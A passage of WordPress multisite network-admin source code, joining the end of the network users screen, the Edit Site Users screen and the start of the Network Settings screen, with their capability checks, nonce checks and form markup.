			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}

								// Used in the HTML title tag.
								$title       = __( 'Users' );
								$parent_file = 'users.php';

								require_once ABSPATH . 'wp-admin/admin-header.php';

								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';

								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										)
									);
								}

								$userfunction = 'all_spam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									if ( ! is_main_site( $details->userblog_id ) ) { // Main site is not a spam!
										update_blog_status( $details->userblog_id, 'spam', '1' );
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									update_blog_status( $details->userblog_id, 'spam', '0' );
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					++$i;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	$message = '';
	switch ( $_REQUEST['action'] ) {
		case 'delete':
			$message = __( 'User deleted.' );
			break;
		case 'all_spam':
			$message = __( 'Users marked as spam.' );
			break;
		case 'all_notspam':
			$message = __( 'Users removed from spam.' );
			break;
		case 'all_delete':
			$message = __( 'Users deleted.' );
			break;
		case 'add':
			$message = __( 'User added.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New User' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	$message = '';
	$type    = 'error';

	switch ( $_GET['update'] ) {
		case 'adduser':
			$type    = 'success';
			$message = __( 'User added.' );
			break;
		case 'err_add_member':
			$message = __( 'User is already a member of this site.' );
			break;
		case 'err_add_fail':
			$message = __( 'User could not be added to this site.' );
			break;
		case 'err_add_notfound':
			$message = __( 'Enter the username of an existing user.' );
			break;
		case 'promote':
			$type    = 'success';
			$message = __( 'Changed roles.' );
			break;
		case 'err_promote':
			$message = __( 'Select a user to change role.' );
			break;
		case 'remove':
			$type    = 'success';
			$message = __( 'User removed from this site.' );
			break;
		case 'err_remove':
			$message = __( 'Select a user to remove.' );
			break;
		case 'newuser':
			$type    = 'success';
			$message = __( 'User created.' );
			break;
		case 'err_new':
			$message = __( 'Enter the username and email.' );
			break;
		case 'err_new_dup':
			$message = __( 'Duplicated username or email address.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_network_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Network Settings' );
$parent_file = 'settings.php';

// Handle network admin email change requests.
if ( ! empty( $_GET['network_admin_hash'] ) ) {
	$new_admin_details = get_site_option( 'network_admin_hash' );
	$redirect          = 'settings.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) {
		update_site_option( 'admin_email', $new_admin_details['newemail'] );
		delete_site_option( 'network_admin_hash' );
		delete_site_option( 'new_admin_email' );
		$redirect = 'settings.php?updated=true';
	}
	wp_redirect( network_admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss_new_network_admin_email' );
	delete_site_option( 'network_admin_hash' );
	delete_site_option( 'new_admin_email' );
	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
	exit;
}

add_action( 'admin_head', 'network_settings_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.' ) . '</p>' .
			'<p>' . __( 'Operational settings has fields for the network&#8217;s name and admin email.' ) . '</p>' .
			'<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' .
			'<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' .
			'<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' .
			'<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' .
			'<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' .
			'<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-settings-screen/">Documentation on Network Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

if ( $_POST ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	check_admin_referer( 'siteoptions' );

	$checked_options = array(
		'menu_items'                  => array(),
		'registrationnotification'    => 'no',
		'upload_space_check_disabled' => 1,
		'add_new_users'               => 0,
	);
	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			$_POST[ $option_name ] = $option_unchecked_value;
		}
	}

	$options = array(
		'registrationnotification',
		'registration',
		'add_new_users',
		'menu_items',
		'upload_space_check_disabled',
		'blog_upload_space',
		'upload_filetypes',
		'site_name',
		'first_post',
		'first_page',
		'first_comment',
		'first_comment_url',
		'first_comment_author',
		'welcome_email',
		'welcome_user_email',
		'fileupload_maxk',
		'illegal_names',
		'limited_email_domains',
		'banned_email_domains',
		'WPLANG',
		'new_admin_email',
		'first_comment_email',
	);

	// Handle translation installation.
	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
		$language = wp_download_language_pack( $_POST['WPLANG'] );
		if ( $language ) {
			$_POST['WPLANG'] = $language;
		}
	}

	foreach ( $options as $option_name ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			continue;
		}
		$value = wp_unslash( $_POST[ $option_name ] );
		update_site_option( $option_name, $value );
	}

	/**
	 * Fires after the network options are updated.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'update_wpmu_options' );

	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['updated'] ) ) {
	wp_admin_notice(
		__( 'Settings saved.' ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<form method="post" action="settings.php" novalidate="novalidate">
		<?php wp_nonce_field( 'siteoptions' ); ?>
		<h2><?php _e( 'Operational Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th>
				<td>
					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" />
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" />
					<p class="description" id="admin-email-desc">
						<?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
					</p>
					<?php
					$new_admin_email = get_site_option( 'new_admin_email' );
					if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) :
						$notice_message = sprintf(
							/* translators: %s: New network admin email. */
							__( 'There is a pending change of the network admin email to %s.' ),
							'<code>' . esc_html( $new_admin_email ) . '</code>'
						);

						$notice_message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
							__( 'Cancel' )
						);

						wp_admin_notice(
							$notice_message,
							array(
								'type'               => 'warning',
								'dismissible'        => true,
								'additional_classes' => array( 'inline' ),
							)
						);
					endif;
					?>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Registration Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Allow new registrations' ); ?></th>
				<?php
				if ( ! get_site_option( 'registration' ) ) {
					update_site_option( 'registration', 'none' );
				}
				$reg = get_site_option( 'registration' );
				?>
				<td>
					<fieldset>
					<legend class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'New registrations settings' );
						?>
					</legend>
					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
					<?php
					if ( is_subdomain_install() ) {
						echo '<p class="description">';
						printf(
							/* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */
							__( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
							'<code>NOBLOGREDIRECT</code>',
							'<code>wp-config.php</code>'
						);
						echo '</p>';
					}
					?>
					</fieldset>
				</td>
			</tr>

			<tr>
				<th scope="row"><?php _e( 'Registration notification' ); ?></th>
				<?php
				if ( ! get_site_option( 'registrationnotification' ) ) {
					update_site_option( 'registrationnotification', 'yes' );
				}
				?>
				<td>
					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label>
				</td>
			</tr>

			<tr id="addnewusers">
				<th scope="row"><?php _e( 'Add New Users' ); ?></th>
				<td>
					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add New" page' ); ?></label>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th>
				<td>
					<?php
					$illegal_names = get_site_option( 'illegal_names' );

					if ( empty( $illegal_names ) ) {
						$illegal_names = '';
					} elseif ( is_array( $illegal_names ) ) {
						$illegal_names = implode( ' ', $illegal_names );
					}
					?>
					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" />
					<p class="description" id="illegal-names-desc">
						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th>
				<td>
					<?php
					$limited_email_domains = get_site_option( 'limited_email_domains' );

					if ( empty( $limited_email_domains ) ) {
						$limited_email_domains = '';
					} else {
						// Convert from an input field. Back-compat for WPMU < 1.0.
						$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains );

						if ( is_array( $limited_email_domains ) ) {
							$limited_email_domains = implode( "\n", $limited_email_domains );
						}
					}
					?>
					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $limited_email_domains ); ?></textarea>
					<p class="description" id="limited-email-domains-desc">
						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th>
				<td>
					<?php
					$banned_email_domains = get_site_option( 'banned_email_domains' );

					if ( empty( $banned_email_domains ) ) {
						$banned_email_domains = '';
					} elseif ( is_array( $banned_email_domains ) ) {
						$banned_email_domains = implode( "\n", $banned_email_domains );
					}
					?>
					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $banned_email_domains ); ?></textarea>
					<p class="description" id="banned-email-domains-desc">
						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

		</table>
		<h2><?php _e( 'New Site Settings' ); ?></h2>
		<table class="form-table" role="presentation">

			<tr>
				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th>
				<td>
					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea>
					<p class="description" id="welcome-email-desc">
						<?php _e( 'The welcome email sent to new site owners.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th>
				<td>
					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea>
					<p class="description" id="welcome-user-email-desc">
						<?php _e( 'The welcome email sent to new users.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th>
				<td>
					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea>
					<p class="description" id="first-post-desc">
						<?php _e( 'The first post on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th>
				<td>
					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea>
					<p class="description" id="first-page-desc">
						<?php _e( 'The first page on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
